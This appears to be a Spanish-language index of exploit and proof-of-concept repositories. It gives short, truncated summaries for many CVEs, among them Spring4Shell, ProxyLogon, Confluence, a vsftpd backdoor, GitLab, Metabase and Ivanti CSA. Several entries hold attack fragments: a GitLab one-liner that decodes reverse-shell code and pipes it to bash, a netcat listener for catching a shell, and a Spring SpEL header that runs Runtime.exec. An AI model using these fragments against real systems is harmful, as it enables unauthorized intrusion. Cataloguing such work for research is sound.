openam-CVE-2021-35464

openam CVE-2021-35464 Tomcat ejecuta comandos con eco. Proyecto basado en ysoserial y Java-Rce-Echo Para construir el proyecto, es necesario agregar ysoserial.jar y jato-14.6.3.jar a las dependencias. POST /OpenAM/ccversion/Version HTTP/1.1 Host: php.local:8081 Upgrade-Insecure-Requests: 1...

CVE-2019-11932

CVE-2019-11932 bug de doble liberación en el PoC del exploit de WhatsApp. Nota: asegúrate de configurar la IP del listener en exploit.c para obtener la shell nc -lvp 5555 o cualquier puerto. y luego compila. gcc -o exploit egiflib.c exploit.c luego ejecuta ./exploit y guarda el contenido en .gif ...

Spring4Shell-POC

Aplicación PoC de Spring4Shell Esta es una aplicación dockerizada que es vulnerable a la vulnerabilidad Spring4Shell CVE-2022-22965. Se proporciona el código fuente Java completo para el war y es modificable, el war se reconstruirá cada vez que se construya la imagen docker. El WAR construido ser...

Exploits

Exploits CVEs originales, PoCs de exploits y avisos de seguridad por @kmkz · boffsec-services.com · @kmkzsecurity 2026 Archivo| Objetivo| Tipo| CVSSv3 ---|---|---|--- CVE-2026-22191-SicuroWeb-ATI-chain.txt| SicuroWeb / Beghelli Sicuro24| Aviso cadena de 3 CVE| 9.3 CVE-2026-22191-POC.py| SicuroWeb...

Exch-CVE-2021-26855_Priv

Exch-CVE-2021-26855 ProxyLogon es el nombre genérico formal para CVE-2021-26855, una vulnerabilidad en Microsoft Exchange Server que permite a un atacante omitir la autenticación y hacerse pasar por el administrador. También hemos encadenado este error con otra vulnerabilidad de escritura...

CVE-2022-26134

CVE-2022-26134 Confluence Server y Data Center - CVE-2022-26134 - Vulnerabilidad crítica de ejecución remota de código sin autenticación Resumen| CVE-2022-26134 - Vulnerabilidad crítica de ejecución remota de código sin autenticación en Confluence Server y Data Center ---|--- Productos afectados|...

CVE-2011-2523

Exploit de puerta trasera vsftpd 2.3.4 Servidor FTP: vsftpd Versión vulnerable: 2.3.4 CVE: CVE-2011-2523 Vulnerabilidad: se abre una puerta trasera en el puerto 6200 cuando el usuario introducía cadenas que añadían : al parámetro USER de FTP. Notas: La RCE no requiere autenticación...

CVE-2023-38646

CVE-2023-38646 Herramientas automáticas para el exploit RCE de Metabase conocido como CVE-2023-38646. Lee https://secry.me/explore/news/metabase-rce-cve-2023-38646/ para más información POC, Dork Cómo usar single.py python3 single.py --url=http://127.0.0.1:8080 --command="curl...

cve-2021-1647

CVE-2021-1647 Vulnerabilidad de ejecución remota de código en Microsoft Defender INFO Contraseña:infected...

WhatsAppHACK-RCE

WhatsAppHACK-RCE...

GitLab-preauth-RCE_CVE-2021-22205

GitLab-preauth-RCECVE-2021-22205 PoC de bash en una línea para RCE preautenticado en GitLab CVE-2021-22205 t="http://vuln.site";cmd='echo xxxbase64ofreverseshellcodexxx |base64 -d|bash';f="1.jpg";echo...

CVE-2023-33404

CVE-2023-33404 Un usuario que tiene el derecho EditOwnPosts en BlogEngine.NET CMS versión 3.3.8.0 y anteriores tiene la capacidad de subir un archivo malicioso a una ubicación codificada. Una solicitud POST al endpoint /api/upload con los parámetros "action=video", como se muestra en la captura d...

CVE-2021-1675

De Lares Labs: Información de Detección y Corrección para CVE-2021-1675 y CVE-2021-34527 🚨 Parche publicado: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527 Se ha confirmado que el parche corrige RCE, sin embargo la escalada de privilegios local parece no estar parcheada aún...

datapower-redis-rce-exploit

datapower-redis-rce-exploit CVE-2020-5014 Un POC para el exploit RCE de Redis autenticado de IBM DataPower que abusa de la función "Send a Test Message". Explicación completa y demo en YouTube Publicación de blog en tomcope.com Explicación Usando la función "Send a Test Message" de DataPower...

CVE-2024-4883

CVE-2024-4883 PoC for CVE-2024-4883 Progress WhatsUp Gold WriteDatafile Unauthenticated Remote Code Execution CVE-2024-4883 Technical Analysis A root cause analysis of the vulnerability can be found on my blog: https://summoning.team/blog/progress-whatsup-gold-WriteDataFile-CVE-2024-4883-RCE/ Usa...

log4j-scan

1 Instrucciones de uso Herramienta de detección de vulnerabilidad RCE CVE-2021-44228 log4j 2.x, que envía una solicitud GET al enlace objetivo y utiliza dnslog para detectar si hay respuesta. $ python3 log4j-scan.py -h Usage: python log4j-scan.py -u Options: -h, --help show this help message and...

spring-spel-0day-poc

spring-spel-0day-poc spring-cloud/spring-cloud-function RCE EXP POC https://github.com/spring-cloud/spring-cloud-function header spring.cloud.function.routing-expression:Tjava.lang.Runtime.getRuntime.exec"open -a calculator.app" build wget...

spring-spel-0day-poc

spring-spel-0day-poc POC y EXP de RCE para spring-cloud/spring-cloud-function https://github.com/spring-cloud/spring-cloud-function cabecera spring.cloud.function.routing-expression:Tjava.lang.Runtime.getRuntime.exec"open -a calculator.app" compilación wget...

OSWE-Labs-Poc

OSWE - LABORATORIOS Laboratorios dockerizados para la certificación Web Expert OSWE. Preparación para la próxima formación AWAE ... Otro proyecto: análisis de malware y caza de amenazas cibernéticas https://github.com/svdwi/BlueBox Laboratorios disponibles para el OSWE 1. ATutor es un Sistema de...

CVE-2024-8190-unauth

CVE-2024-8190 no autenticado Descripción Combinando CVE-2024-8963 & CVE-2024-8190 - PoC para RCE no autenticado en Ivanti CSA 4.6 y anteriores. CVE-2024-8963 Path Traversal en Ivanti CSA anterior al parche 519 de la versión 4.6 permite a un atacante remoto no autenticado acceder a funcionalidades...